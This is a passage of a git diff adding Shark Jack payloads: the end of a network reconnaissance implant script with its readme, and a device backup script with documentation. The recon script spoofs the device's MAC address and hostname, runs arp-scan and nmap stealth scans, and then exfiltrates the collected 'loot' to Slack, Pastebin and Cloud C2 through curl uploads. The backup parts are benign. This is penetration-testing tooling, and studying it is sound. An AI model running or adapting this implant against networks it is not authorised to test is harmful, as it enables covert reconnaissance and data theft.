file="@$LOOT_FILE" -F initial_comment="$LOOT_FILE_DESC" -F channels="$SLACK_CHANNEL_ID" -H "Authorization: Bearer $SLACK_OAUTH_TOKEN" $SLACK_API_UPLOAD_URL > /dev/null && echo "Exfiltration of $LOOT_FILE to Slack has passed" >> $LOG_FILE || echo "Exfiltration of $LOOT_FILE to Slack has failed" >> $LOG_FILE + done + LOG_FILE_DESC=$SCAN_COUNT-$TODAY-LOGFILE + curl -s -F title="$LOG_FILE" -F file="@$LOG_FILE" -F initial_comment="$LOG_FILE_DESC" -F channels="$SLACK_CHANNEL_ID" -H "Authorization: Bearer $SLACK_OAUTH_TOKEN" $SLACK_API_UPLOAD_URL > /dev/null && echo "Exfiltration of $LOG_FILE to Slack has passed" >> $LOG_FILE || echo "Exfiltration of $LOG_FILE to Slack has failed" >> $LOG_FILE + fi + return +} + +function RECON_COMPLETED_NOTIFICATION() { + if [ "$NOTIFY_HOMEY" = "true" ]; then + curl -s -i -X GET $HOMEY_WEBHOOK_URL?tag="SharkJack_recon_completed" > /dev/null && echo "Recon completed message has been sent to Homey" >> $LOG_FILE || echo "Recon completed message has NOT been sent to Homey as something went wrong" >> $LOG_FILE + fi + if [ "$NOTIFY_PUSHOVER" = "true" ]; then + curl -s --form-string token="$PUSHOVER_APPLICATION_TOKEN" --form-string user="$PUSHOVER_USER_TOKEN" --form-string priority="$PUSHOVER_PRIORITY" --form-string device="$PUSHOVER_DEVICE" --form-string title="SharkJack recon completed message" --form-string message="Loot identifier: $SCAN_COUNT-$TODAY, Complete recon scan took $SECONDS seconds" $PUSHOVER_API_POST_URL > /dev/null && echo "Recon completed notification has been sent to Pushover" >> $LOG_FILE || echo "Recon completed notification has NOT been sent to Pushover as something went wrong" >> $LOG_FILE + fi + if [ "$NOTIFY_SLACK" = "true" ]; then + curl -s -X POST -F text="SharkJack recon completed message. Loot identifier: $SCAN_COUNT-$TODAY, Complete recon scan took $SECONDS seconds" -F channel="$SLACK_CHANNEL_ID" -F user="n$SLACK_USER" -F token="$SLACK_OAUTH_TOKEN" $SLACK_API_POST_URL > /dev/null && echo "Recon completed notification has been sent to Slack" >> $LOG_FILE || echo "Recon completed notification has NOT been sent to Slack as something went wrong" >> $LOG_FILE + fi + return +} + +function BLINK_INTERNAL_IP_ADDRESS() { + if [ "$BLINK_INTERNAL_IP_ADDRESS" = "true" ]; then + INTERNAL_IP_FIRST_OCTET=$(ifconfig eth0 | grep "inet addr" | awk {'print $2'} | awk -F. {'print $1'}) + INTERNAL_IP_SECOND_OCTET=$(ifconfig eth0 | grep "inet addr" | awk {'print $2'} | awk -F. {'print $2'}) + INTERNAL_IP_THIRD_OCTET=$(ifconfig eth0 | grep "inet addr" | awk {'print $2'} | awk -F. {'print $3'}) + INTERNAL_IP_LAST_OCTET=$(ifconfig eth0 | grep "inet addr" | awk {'print $2'} | awk -F. {'print $4'}) + LED OFF + + # Uncomment sections in case you want to blink other octets as well + + for i in {1..10}; do + sleep 4 + + #for (( i = 0; i < ${#INTERNAL_IP_FIRST_OCTET}; i++ )); do + # DIGIT=${INTERNAL_IP_FIRST_OCTET:$i:1} + # + # if [ $DIGIT = "0" ]; then + # LED W SOLID; sleep 1 + # LED OFF; sleep 0.125 + # else + # for (( j = 0; j < $DIGIT; j++ )); do + # LED W SOLID; sleep 0.05 + # LED OFF; sleep 0.125 + # done + # fi + # sleep 1 + #done + + #sleep 2 + + #for (( i = 0; i < ${#INTERNAL_IP_SECOND_OCTET}; i++ )); do + # DIGIT=${INTERNAL_IP_SECOND_OCTET:$i:1} + # + # if [ $DIGIT = "0" ]; then + # LED W SOLID; sleep 1 + # LED OFF; sleep 0.125 + # else + # for (( j = 0; j < $DIGIT; j++ )); do + # LED W SOLID; sleep 0.05 + # LED OFF; sleep 0.125 + # done + # fi + # sleep 1 + #done + + #sleep 2 + + #for (( i = 0; i < ${#INTERNAL_IP_THIRD_OCTET}; i++ )); do + # DIGIT=${INTERNAL_IP_THIRD_OCTET:$i:1} + # + # if [ $DIGIT = "0" ]; then + # LED W SOLID; sleep 1 + # LED OFF; sleep 0.125 + # else + # for (( j = 0; j < $DIGIT; j++ )); do + # LED W SOLID; sleep 0.05 + # LED OFF; sleep 0.125 + # done + # fi + # sleep 1 + #done + + #sleep 2 + + for (( i = 0; i < ${#INTERNAL_IP_LAST_OCTET}; i++ )); do + DIGIT=${INTERNAL_IP_LAST_OCTET:$i:1} + + if [ $DIGIT = "0" ]; then + LED C SOLID; sleep 1 + LED OFF; sleep 0.125 + else + for (( j = 0; j < $DIGIT; j++ )); do + LED C SOLID; sleep 0.05 + LED OFF; sleep 0.125 + done + fi + sleep 1 + done + + sleep 2 + done + echo "IP address has been send via light pattern on SharkJack" >> $LOG_FILE + fi + return +} + +# **************************************************************************************************** +# Execute payload +# **************************************************************************************************** + +# Setup +LED SETUP +CREATE_SCAN_FOLDER # Checks loot folder with highest index number in loot root folder and creates the next loot folder for current scan +INITIALIZE_LOG_FILE # Initialize the log file +SET_NETMODE # Set NETMODE to DHCP_CLIENT (for SharkJack v1.1.0+) +CHANGE_HOSTNAME +CHANGE_MAC_ADDRESS # Change MAC address, note: changing the MAC address will also force a new IP address to be provided +LOOKUP_SUBNET +COPY_BACK_DHCP_RETRIEVED_DNS_SERVERS # Copy back auto discovered DNS and Domain information +USE_CUSTOM_DNS_SERVER +START_SSH_SERVER # Start Secure SHell server +CHECK_DEFAULT_GATEWAY +CHECK_INTERNET_ACCESS # Check Internet access by pinging public host +GET_EXTERNAL_IP_ADDRESS # Get external (public) IP address by using public web service +RECON_STARTED_NOTIFICATION +START_CLOUD_C2_CLIENT + +# Attack +LED ATTACK +GRAB_IFCONFIG_LOOT +GRAB_TRACEROUTE_LOOT +GRAB_DNS_INFORMATION_LOOT +GRAB_PUBLIC_IP_WHOIS_LOOT +GRAB_LLDP_LOOT # Link Layer Discovery Protocol, lookup neighbors and interfaces +GRAP_ARP_SCAN_LOOT +GRAB_NMAP_LOOT +GRAB_NMAP_INTERESTING_HOSTS_LOOT +GRAB_DIG_LOOT + +# Finish +LED STAGE2 +echo "Free diskspace after actions: $(df -h | grep overlayfs | awk {'print $4'})" >> $LOG_FILE +echo "Recon script took $SECONDS seconds" >> $LOG_FILE +EXFIL_TO_CLOUD_C2 +EXFIL_TO_PASTEBIN +EXFIL_TO_SLACK +RECON_COMPLETED_NOTIFICATION +sync # Sync filesystem in order to prevent data loss + +# **************************************************************************************************** +# Prevent logging after this line! +# **************************************************************************************************** + +BLINK_INTERNAL_IP_ADDRESS +LED FINISH + +if [ "$HALT_SYSTEM_WHEN_DONE" = "true" ]; then + halt +fi diff --git a/payloads/library/recon/Network-Recon-framework-payload-with-logging-notification-and-exfiltration/readme.md b/payloads/library/recon/Network-Recon-framework-payload-with-logging-notification-and-exfiltration/readme.md new file mode 100644 index 0000000..9a80055 --- /dev/null +++ b/payloads/library/recon/Network-Recon-framework-payload-with-logging-notification-and-exfiltration/readme.md @@ -0,0 +1,145 @@ +# Network reconnaissance payload for Shark Jack + +--- + +Author: Robert Coemans +Version: 1.0 + +## Description + +--- + +Swiss knife network reconnaissance payload with options for SSH server, Cloud C2 exfiltration and led blinking for IP address, payload is based on various sample payloads from HAK5, MonsieurMarc, Topknot and others. This payload script has been organized in a way it is easy to be extended with additional recon (attack) functions. + +The script has been created in a modular fashion which allows easy extending the script with new functions (e.g. recon, notification or exfiltration functions). The script furthermore incorporates logic to determine already existing loot folders and create a new (unique) loot folder every time the script is executed. + +## payload.sh + +--- + +### Use + +1. Copy to `/root/payload` folder with the name `payload.sh`: `/root/payload/payload.sh` + +### Toggles + +Toggle | Description | Values +------------------------------------ | --------------------------------------------------------------------------------------------------- | --- +CHANGE_HOSTNAME | Use an alternative hostname by using the variable `HOSTNAME` | true/false +CHANGE_MAC_ADDRESS | Use an alternative mac address by using the variable `MAC_ADDRESS` | true/false +LOOKUP_SUBNET | Lookup the subnet | true/false +COPY_BACK_DHCP_RETRIEVED_DNS_SERVERS | Copy back the automatically detected DHCP information e.g. DNS servers and domain | true/false +USE_CUSTOM_DNS_SERVER | Use a manually specified DNS server | true/false +START_SSH_SERVER | Start the Secure SHell server (not needed in case Cloud C2 is being used) | true/false +CHECK_DEFAULT_GATEWAY | Lookup and test the default gateway | true/false +CHECK_INTERNET_ACCESS | Test Internet connectivity | true/false +GET_EXTERNAL_IP_ADDRESS | Get the external (public) IP address by using the service specified in the variable `PUBLIC_IP_URL` | true/false +NOTIFY_HOMEY | Send start/stop notifications to [Homey](https://homey.app) | true/false +NOTIFY_PUSHOVER | Send start/stop notifications to [Pushover](https://pushover.net/) | true/false +NOTIFY_SLACK | Send start/stop notifications to [Slack](https://slack.com) | true/false +START_CLOUD_C2_CLIENT | Have script start Cloud C2 client in case Cloud C2 client is not yet started | true/false +GRAB_IFCONFIG_LOOT | Grab loot around the ETH0 interface | true/false +GRAB_TRACEROUTE_LOOT | Grab traceroute loot by using the host given in the variable `TRACEROUTE_HOST` | true/false +GRAB_DNS_INFORMATION_LOOT | Grab Domain Name System information stored on the Shark Jack (see: `RESOLV.CONF` variables) | true/false +GRAB_PUBLIC_IP_WHOIS_LOOT | Grab public WHOIS loot for the external (public) IP address | true/false +GRAB_LLDP_LOOT | Grab loot around interfaces and neighbours using the Link Layer Discovery Protocol | true/false +GRAP_ARP_SCAN_LOOT | Grab ARP (Address Resolution Protocol) loot including looking up of MAC addresses | true/false +GRAB_NMAP_LOOT | Grab NMAP (Network Mapper) loot | true/false +GRAB_NMAP_INTERESTING_HOSTS_LOOT | Grab NMAP (Network Mapper) loot for interesting files (more extensive NMAP lookup can be enforced) | true/false +GRAB_DIG_LOOT | Grab DNS loot using DIG | true/false +TRY_TO_GET_INTERNAL_DOMAINS | Try to get the internal domains automatically (lookup `/tmp/resolv.conf.auto`) | true/false +EXFIL_TO_CLOUD_C2 | Exfiltrate loot files and log file to Cloud C2 | true/false +EXFIL_TO_PASTEBIN | Exfiltrate loot files and log file to Pastebin | true/false +EXFIL_TO_SLACK | Exfiltrate loot files and log file to Slack | true/false +BLINK_INTERNAL_IP_ADDRESS | Blink the whole or part of the internal (private) IP address after the loot is in | true/false +HALT_SYSTEM_WHEN_DONE | Halt the system in order to preserve resources and battery | true/false + +### Variables + +Variable | Description | Values +------------------------------ | -------------------------------------------------------------------------------- | --- +LOOT_DIR_ROOT | Folder on Shark Jack to store loot files and log files | {folder e.g. `/root/loot/network-recon`} +HOSTNAME | Custom hostname for the Shark Jack | {e.g. `shark`} +MAC_ADDRESS | Custom MAC address for the Shark Jack | {e.g. `4a:3f:6d:db:ba:d8`} +CUSTOM_NAME_SERVER | Custom name server to be used by the Shark Jack | {e.g. `192.168.10.1`} +RESOLV_CONF_FILE | Path to `resolv.conf` file | {e.g. `/etc/resolv.conf`} +RESOLV_CONF_AUTO_FILE | Path to `resolv.conf.auto` file | {e.g. `/tmp/resolv.conf.auto`} +RESOLV_CONF_TMP_FILE | Path to `resolv.conf` temporary file | {e.g. `/tmp/resolv.conf`} +INTERNET_TEST_HOST | Host to be used to test Internet access | {e.g. `http://www.google.com`} +PUBLIC_IP_URL | Host to be used to get the external (private) IP address | {e.g. `http://icanhazip.com`} +TRACEROUTE_HOST | Host to execute the traceroute against | {e.g. `8.8.8.8`} +INTERNAL_DOMAINS | Manually set (internal) domain | {e.g. `mydomain.local`} +BANDWIDTH_FOR_ARP_SCAN | Max. bandwith used by arp-scan | {e.g. `100000`] +NMAP_OPTIONS_ACTIVE_HOSTS | NMAP options to be used for active hosts (NMAP quick scan) | {e.g. `--top-ports 20`} +INTERESTING_HOSTS_PATTERN | String of interesting hosts to filter on | {e.g. `Synology|QNAP`} +NMAP_OPTIONS_INTERESTING_HOSTS | NMAP options to be used for interesting hosts (NMAP elaborated scan) | {e.g. `-v -sS -A -T4`} +HOMEY_WEBHOOK_URL | WEbhook url for Homey | {e.g. `https://{your-homey-id}.connect.athom.com/api/manager/logic/webhook/{your-endpoint`} +PUSHOVER_API_POST_URL | Pushover post API url | https://api.pushover.net/1/messages.json +PUSHOVER_APPLICATION_TOKEN | Pushover application token | {your-application-token} +PUSHOVER_USER_TOKEN | Pushover user token | {your-user-token} +PUSHOVER_PRIORITY | Pushover priority | -2 no notification/alert, -1 send as a quiet notification, 1 high-priority and bypass the user's quiet hours +PUSHOVER_DEVICE | Pushover device, multiple devices may be separated by a comma | {your-device} +PASTEBIN_API_LOGIN_URL | Pastebin login API url | {e.g. `https://pastebin.com/api/api_login.php`} +PASTEBIN_API_POST_URL | Pastebin post API url | {e.g. `https://pastebin.com/api/api_post.php`} +PASTEBIN_API_USER | Pastebin username | {e.g. `{username}`} +PASTEBIN_API_PASSWORD | Pastebin password | {e.g. `{password}`} +PASTEBIN_API_KEY | Pastebin API key | {e.g. `{your-api-key}`} +PASTEBIN_EXPIRE_DATE | Pastebin 'pastes' expiration date | N = Never, 10M = 10 Minutes, 1H = 1 Hour, 1D = 1 Day, 1W = 1 Week, 2W = 2 Weeks, 1M = 1 Month, 6M = 6 Months, 1Y = 1 Year +SLACK_API_POST_URL | Slack post API url | {e.g. `https://slack.com/api/chat.postMessage`} +SLACK_API_UPLOAD_URL | Slack upload API url | {e.g. `https://slack.com/api/files.upload`} +SLACK_OAUTH_TOKEN | Slack OAuth token | {e.g. `{your-oauth-token}`} +SLACK_CHANNEL_ID | Slack channel identifier | {e.g. `{your-channel-id}`}, use Slack web app to capture channel ID (last bit of URL) +SLACK_USER | Slack username which will publish the message | {e.g. `{your-slack-user}`} + +### Dependencies + +This script depends on the following packages: + +- curl +- lldpd +- bind-dig +- bind-host +- libustream-openssl + +Not depended on but good to have: + +- nano + +### Good to know + +- For setting up Slack (exfiltration and notification) check this [tutorial](https://dev.to/c0d3b0t/upload-and-publish-a-file-on-slack-channel-with-bash-i2e)! +- ARP-SCAN is using files: `/usr/share/arp-scan/ieee-iab.txt`, `/usr/share/arp-scan/ieee-oui.txt` and `/usr/share/arp-scan/mac-vendor.txt` to retrieve vendors based on discovered MAC addresses! +- Uncomment sections in function **BLINK_INTERNAL_IP_ADDRESS** in case you want to blink other octets as well! +- Please note the Pastebin API limitations: guests can create up to 10 new pastes per 24 hours, IP's that make too many requests will be blocked! + +### NMAP examples + +See `nmap --help` for options. + +Parameters | Meaning +---------------------------------------- | --- +`-sP --host-timeout 30s --max-retries 3` | Ping scans the network, listening to hosts that respond tp ping for fast host discovery, a given timeout of 30 seconds and a maximum retries of 3 +`-p 1-65535 -sV -sS -T4` | Full TCP port scan using with service version detection +`-v -sS -A -T4` | Prints verbose output, runs stealth syn scan, T4 timing, OS and version detection + traceroute and scripts against target services +`--top-ports 20` | Scan 20 most common ports +`-Pn` | No ping +`-O` | Enable OS detection +`-A` | Enable OS detection, version detection, script scanning and traceroute + +### Status LED's + +Color/Pattern | Meaning +----------------- | --- +Booting up | Green blinking +Setting up | Magenta solid [LED SETUP] +Failures | Red slow blinking [LED FAIL] +Getting loot | Yellow single blink [LED ATTACK] +Exfiltrating loot | Yellow double blink [LED STAGE2] +Blink IP ADDRESS | White blinking (fast blinking = value count, if one of the octets is zero this will be represented as solid for 1 second, long blink = next digit) +Finished | Green very fast blinking followed by solid [LED FINISH] + +## Discussion + +--- + +[Hak5 Forum Thread to be added]() \ No newline at end of file diff --git a/payloads/library/util/Backup-and-Restore-scripts-with-logging-and-notification/backup.sh b/payloads/library/util/Backup-and-Restore-scripts-with-logging-and-notification/backup.sh new file mode 100644 index 0000000..2e7200a --- /dev/null +++ b/payloads/library/util/Backup-and-Restore-scripts-with-logging-and-notification/backup.sh @@ -0,0 +1,209 @@ +#!/bin/bash +# +# Title: backup.sh +# Description: Backup important data on SharkJack, zip it and optionally exfiltrate +# Execute with: bash ./backup.sh (e.g. "bash ./backup.sh") +# Author: Robert Coemans +# Version: 1.0 (20-08-2020) +# Category: Util +# +# Dependencies: this payload requires you to have the following packages already installed and configured via 'opkg install' (do 'opkg update' first): +# - curl = E.g. to grab external IP address and to post notifications +# - zip +# +# LED indications (https://docs.hak5.org/hc/en-us/articles/360010554653-LED) +# - Setting up = Magenta solid [LED SETUP] +# - Backing up = Yellow single blink [LED ATTACK] +# - Finishing up = Yellow double blink [LED STAGE2] +# - Finished = Green very fast blinking followed by solid [LED FINISH] + +# **************************************************************************************************** +# Configuration +# **************************************************************************************************** + +# Setup toggles +NOTIFY_PUSHOVER=true +START_CLOUD_C2_CLIENT=false + +# Finish toggles +EXFIL_TO_CLOUD_C2=true +EXFIL_TO_SCP=false + +# Setup variables +BACKUP_DIR_ROOT="/root/backup" +TODAY=$(date +%Y%m%d) +START_TIME=$(date) +BATTERY_STATUS=$(BATTERY) +CLOUD_C2_PROVISION="/etc/device.config" + +# Backup variables +BACKUP_FOLDERS=( "/root/payload" "/root/loot" "/usr/share/arp-scan" ) # Add folders to be backed up here! +BACKUP_FILES=( "/etc/device.config" ) # Add files to be backed up here! +BACKUP_DESTINATION_USER="{username}" # Generate a ssh key (ssh-keygen) on the destination host and copy it (~/.ssh/id_rsa_pub) to the SharkJack (~/.ssh/authorized/keys) in order to bypass password! +BACKUP_DESTINATION_HOST="192.168.10.1" +BACKUP_DESTINATION_DIR_ROOT="/some/destination/folder/for/backup" + +# Exfiltrate and notification variables +PUSHOVER_API_POST_URL="https://api.pushover.net/1/messages.json" +PUSHOVER_APPLICATION_TOKEN="{your-application-token}" +PUSHOVER_USER_TOKEN="{your-user-token}" +PUSHOVER_PRIORITY="1" # send as -2 to generate no notification/alert, -1 to always send as a quiet notification or 1 to display as high-priority and bypass the user's quiet hours! +PUSHOVER_DEVICE="{your-device}" # Multiple devices may be separated by a comma! + +# **************************************************************************************************** +# Setup functions +# **************************************************************************************************** + +function CREATE_BACKUP_FOLDER() { + if [ ! -d $BACKUP_DIR_ROOT ]; then + mkdir -p $BACKUP_DIR_ROOT > /dev/null + fi + if [ "ls $BACKUP_DIR_ROOT -l | grep "^d" | wc -l" = "0" ]; then + SCAN_COUNT=1 + else + SCAN_COUNT=$(ls $BACKUP_DIR_ROOT -l | grep "^d" | awk {'print $9'} | sort -n | awk 'END{print}' | awk -F'-' '{print $1}') + ((SCAN_COUNT++)) + fi + BACKUP_DIR=$BACKUP_DIR_ROOT/$SCAN_COUNT-$TODAY-SharkJack-backup + mkdir $BACKUP_DIR > /dev/null + return +} + +function INITIALIZE_LOG_FILE() { + LOG_FILE=$BACKUP_DIR_ROOT/$SCAN_COUNT-$TODAY-SharkJack-backup.log + touch $LOG_FILE + echo "****************************************************************************************************" >> $LOG_FILE + echo "Backup executed at: $START_TIME" >> $LOG_FILE + echo "SharkJack battery status: $BATTERY_STATUS" >> $LOG_FILE + echo "****************************************************************************************************" >> $LOG_FILE + echo >> $LOG_FILE + echo "Free diskspace before actions: $(df -h | grep overlayfs | awk {'print $4'})" >> $LOG_FILE + echo "Backup directory has been created: $BACKUP_DIR" >> $LOG_FILE + return +} + +function BACKUP_STARTED_NOTIFICATION() { + if [ "$NOTIFY_PUSHOVER" = "true" ]; then + curl -s --form-string token="$PUSHOVER_APPLICATION_TOKEN" --form-string user="$PUSHOVER_USER_TOKEN" --form-string priority="$PUSHOVER_PRIORITY" --form-string device="$PUSHOVER_DEVICE" --form-string title="SharkJack backup started on date: $(date '+%d-%m-%Y'), time: $(date '+%H:%M') $(date '+%Z %z')" --form-string message="Backup identifier: $SCAN_COUNT-$TODAY" $PUSHOVER_API_POST_URL > /dev/null && echo "Backup started notification has been sent to Pushover" >> $LOG_FILE || echo "Backup started notification has NOT been sent to Pushover as something went wrong" >> $LOG_FILE + fi + return +} + +function START_CLOUD_C2_CLIENT() { + if [ "$START_CLOUD_C2_CLIENT" = "true" ]; then + if [[ -f "$CLOUD_C2_PROVISION" ]]; then + C2CONNECT + while ! pgrep cc-client; do sleep 1; done + echo "Connected to Cloud C2" >> $LOG_FILE + else + echo "Cloud C2 client configuration file ($CLOUD_C2_PROVISION) does not exists" >> $LOG_FILE + fi + fi + return +} + +# **************************************************************************************************** +# Backup functions +# **************************************************************************************************** + +function BACKUP_FOLDERS() { + for BACKUP_FOLDER in ${BACKUP_FOLDERS[@]}; do + mkdir -p $BACKUP_DIR/$BACKUP_FOLDER + cp -r $BACKUP_FOLDER/* $BACKUP_DIR/$BACKUP_FOLDER + echo "Folder $BACKUP_FOLDER has been copied to backup destination" >> $LOG_FILE + done + return +} + +function BACKUP_FILES() { + for BACKUP_FILE in ${BACKUP_FILES[@]}; do + mkdir -p $(dirname $BACKUP_DIR/$BACKUP_FILE) + cp $BACKUP_FILE $BACKUP_DIR/$BACKUP_FILE + echo "File $BACKUP_FILE has been copied to backup destination" >> $LOG_FILE + done + return +} + +function CREATE_ZIP_FILE() { + # Including removing backup files and moving zip file and log file to backup folder + ZIP_FILE=$BACKUP_DIR_ROOT/$SCAN_COUNT-$TODAY-SharkJack-backup.zip + cd $BACKUP_DIR + zip -r $ZIP_FILE ./* > /dev/null + echo "Backup has been zipped into the file $ZIP_FILE" >> $LOG_FILE + rm -rf $BACKUP_DIR/* + echo "Contents from folder $BACKUP_DIR has been removed" >> $LOG_FILE + mv $LOG_FILE $BACKUP_DIR/ + LOG_FILE=$BACKUP_DIR/$SCAN_COUNT-$TODAY-SharkJack-backup.log + echo "Log file has been moved to backup destination" >> $LOG_FILE + mv $ZIP_FILE $BACKUP_DIR/ + ZIP_FILE=$BACKUP_DIR/$SCAN_COUNT-$TODAY-SharkJack-backup.zip + echo "Zip file has been moved to backup destination" >> $LOG_FILE + return +} + +# **************************************************************************************************** +# Finish functions +# **************************************************************************************************** + +function EXFIL_TO_CLOUD_C2() { + if [ "$EXFIL_TO_CLOUD_C2" = "true" ]; then + if [[ $(pgrep cc-client) ]]; then + LOG_FILE_DESC="$SCAN_COUNT-$TODAY-SharkJack-backup-log" + C2EXFIL STRING $LOG_FILE $LOG_FILE_DESC && echo "Exfiltration of $LOG_FILE to Cloud C2 has passed" >> $LOG_FILE || echo "Exfiltration of $LOG_FILE to Cloud C2 has failed" >> $LOG_FILE + ZIP_FILE_DESC="$SCAN_COUNT-$TODAY-SharkJack-backup-zip" + C2EXFIL $ZIP_FILE $ZIP_FILE_DESC && echo "Exfiltration of $ZIP_FILE to Cloud C2 has passed" >> $LOG_FILE || echo "Exfiltration of $ZIP_FILE to Cloud C2 has failed" >> $LOG_FILE + else + echo "Exfiltration of $LOOT_FILE to Cloud C2 has failed, CC-CLIENT seems not to be running" >> $LOG_FILE + fi + fi + return +} + +function EXFIL_TO_SCP() { + if [ "$EXFIL_TO_SCP" = "true" ]; then + scp -pr "$BACKUP_DIR" "$BACKUP_DESTINATION_USER@$BACKUP_DESTINATION_HOST:$BACKUP_DESTINATION_DIR_ROOT/" && echo "Backup has been copied to $BACKUP_DESTINATION_HOST:$BACKUP_DESTINATION_DIR_ROOT/" >> $LOG_FILE || echo "Backup failed to copy to $BACKUP_DESTINATION_HOST:$BACKUP_DESTINATION_DIR_ROOT/" >> $LOG_FILE + fi + return +} + +function BACKUP_COMPLETED_NOTIFICATION() { + if [ "$NOTIFY_PUSHOVER" = "true" ]; then + curl -s --form-string token="$PUSHOVER_APPLICATION_TOKEN" --form-string user="$PUSHOVER_USER_TOKEN" --form-string priority="$PUSHOVER_PRIORITY" --form-string device="$PUSHOVER_DEVICE" --form-string title="SharkJack backup completed message" --form-string message="Backup identifier: $SCAN_COUNT-$TODAY, Complete backup took $SECONDS seconds" $PUSHOVER_API_POST_URL > /dev/null && echo "Backup completed notification has been sent to Pushover" >> $LOG_FILE || echo "Backup completed notification has NOT been sent to Pushover as something went wrong" >> $LOG_FILE + fi + return +} + +# **************************************************************************************************** +# Execute payload +# **************************************************************************************************** + +# Setup +LED SETUP +CREATE_BACKUP_FOLDER # Checks backup folder with highest index number in backup root folder and creates the next backup folder for current scan +INITIALIZE_LOG_FILE # Initialize the log file +BACKUP_STARTED_NOTIFICATION +START_CLOUD_C2_CLIENT + +# Backup +LED ATTACK +BACKUP_FOLDERS +BACKUP_FILES +CREATE_ZIP_FILE + +# Finish +LED STAGE2 +echo "Free diskspace after actions: $(df -h | grep overlayfs | awk {'print $4'})" >> $LOG_FILE +echo "Backup script took $SECONDS seconds" >> $LOG_FILE +EXFIL_TO_CLOUD_C2 +EXFIL_TO_SCP +BACKUP_COMPLETED_NOTIFICATION +sync # Sync filesystem in order to prevent data loss + +# **************************************************************************************************** +# Prevent logging after this line! +# **************************************************************************************************** + +LED FINISH + +echo +cat $LOG_FILE diff --git a/payloads/library/util/Backup-and-Restore-scripts-with-logging-and-notification/readme.md b/payloads/library/util/Backup-and-Restore-scripts-with-logging-and-notification/readme.md new file mode 100644 index 0000000..db5e8d0 --- /dev/null +++ b/payloads/library/util/Backup-and-Restore-scripts-with-logging-and-notification/readme.md @@ -0,0 +1,124 @@ +# Backup and Restore shell scripts for Shark Jack + +--- + +Author: Robert Coemans +Version: 1.0 + +## Description + +--- + +Being tired of having to re-image your Shark Jack and going through the hassle of backing up and restoring the device? These shell scripts will help you to backup and restore all important data on your Shark Jack. + +The scripts has been created in a modular fashion which allows easy extending the scripts with new functions. The backup script (`backup.sh`) incorporates logic to determine already existing backup folders and create a new (unique) backup folder every time the script is executed. + +## backup.sh + +--- + +### Use + +1. Execute the script with: `bash ./backup.sh` + +### Toggles + +Toggle | Description | Values +---------------------------- | -------------------------------------------------------------------------------- | --- +NOTIFY_PUSHOVER | Send start/stop notifications to [Pushover](https://pushover.net/) | true/false +START_CLOUD_C2_CLIENT | Have script start Cloud C2 client in case Cloud C2 client is not yet started | true/false +EXFIL_TO_CLOUD_C2 | Exfiltrate backup zip file and log file to Cloud C2 | true/false +EXFIL_TO_SCP | Exfiltrate backup zip file and log file to external host using `scp` | true/false + +### Variables + +Variable | Description | Values +---------------------------- | -------------------------------------------------------------------------------- | --- +BACKUP_DIR_ROOT | Folder on Shark Jack to store backup zip files and log files | {folder e.g. `/root/backup`} +BACKUP_FOLDERS | Array containing folders to be backed up | {array e.g. `( "/root/payload" "/root/loot" "/usr/share/arp-scan" )`} +BACKUP_FILES | Array containing files to be backed up | {array e.g. `( "/etc/device.config" )`} +BACKUP_DESTINATION_USER | Username for remote host for SCP exfiltration | {username e.g. `root`} +BACKUP_DESTINATION_HOST | Hostname or IP address for remote host for SCP exfiltration | {hostname/ip e.g. `192.168.10.1`} +BACKUP_DESTINATION_DIR_ROOT | Folder on remote host for storing back zip file and log file | {folder e.g. `/root/downloads/backup`} +PUSHOVER_API_POST_URL | Pushover post API url | https://api.pushover.net/1/messages.json +PUSHOVER_APPLICATION_TOKEN | Pushover application token | {your-application-token} +PUSHOVER_USER_TOKEN | Pushover user token | {your-user-token} +PUSHOVER_PRIORITY | Pushover priority | -2 no notification/alert, -1 send as a quiet notification, 1 high-priority and bypass the user's quiet hours +PUSHOVER_DEVICE | Pushover device, multiple devices may be separated by a comma | {your-device} + +### Dependencies + +This script depends on the following packages: + +- curl +- zip + +### Good to know + +- Generate a ssh key (`ssh-keygen`) on the destination host and copy it (`~/.ssh/id_rsa_pub`) to the SharkJack (`~/.ssh/authorized/keys`) in order to bypass password for exfiltration to external host using `scp`! + +### Status LED's + +Color/Pattern | Meaning +------------- | --- +Setting up | Magenta solid [LED SETUP] +Backing up | Yellow single blink [LED ATTACK] +Finishing up | Yellow double blink [LED STAGE2] +Finished | Green very fast blinking followed by solid [LED FINISH] + +## restore.sh + +1. Copy a backup created with `backup.sh` to the Shark Jack with: `scp backup.zip root@172.16.24.1:/destination/folder/` example: `scp 1-20200101-SharkJack-backup.zip root@172.16.24.1:/tmp/` +1. Execute the script with: `bash ./restore.sh /path/to/backup.zip` example: `bash ./restore.sh /tmp/1-20200101-SharkJack-backup.zip` + +### Toggles + +Toggle | Description | Values +---------------------------- | -------------------------------------------------------------------------------- | --- +NOTIFY_PUSHOVER | Send start/stop notifications to [Pushover](https://pushover.net/) | true/false +START_CLOUD_C2_CLIENT | Have script start Cloud C2 client in case Cloud C2 client is not yet started | true/false +INSTALL_PACKAGES | Have script install packages defined in variable `OPKG_PACKAGES_TO_INSTALL` | true/false +RESTORE_ONLY_NEWER_FILES | Skip newer files on restore destination | true/false +EXFIL_TO_CLOUD_C2 | Exfiltrate backup zip file and log file to Cloud C2 | true/false +EXFIL_TO_SCP | Exfiltrate backup zip file and log file to external host using `scp` | true/false + +### Variables + +Variable | Description | Values +---------------------------- | -------------------------------------------------------------------------------- | --- +RESTORE_DIR_ROOT | Temporary folder on Shark Jack for unzipping back zip file and storing log file | {folder e.g. `/root/restore`} +RESTORE_DESTINATION_USER | Username for remote host for SCP exfiltration | {username e.g. `root`} +RESTORE_DESTINATION_HOST | Hostname or IP address for remote host for SCP exfiltration | {hostname/ip e.g. `192.168.10.1`} +RESTORE_DESTINATION_DIR_ROOT | Folder on remote host for storing log file | {folder e.g. `/root/downloads/backup`} +PUSHOVER_API_POST_URL | Pushover post API url | `https://api.pushover.net/1/messages.json` +PUSHOVER_APPLICATION_TOKEN | Pushover application token | {your-application-token} +PUSHOVER_USER_TOKEN | Pushover user token | {your-user-token} +PUSHOVER_PRIORITY | Pushover priority | `-2` no notification/alert, `-1` send as a quiet notification, `1` high-priority and bypass the user's quiet hours +PUSHOVER_DEVICE | Pushover device, multiple devices may be separated by a comma | {your-device} + +### Dependencies + +This script depends on the following packages: + +- curl +- unzip + +### Good to know + +- Be careful with variable `RESTORE_DIR_ROOT`, this folder and all its contents including subfolders will be deleted during restore actions! +- Generate a ssh key (`ssh-keygen`) on the destination host and copy it (`~/.ssh/id_rsa_pub`) to the SharkJack (`~/.ssh/authorized/keys`) in order to bypass password for exfiltration to external host using `scp`! + +### Status LED's + +Color/Pattern | Meaning +------------- | --- +Setting up | Magenta solid 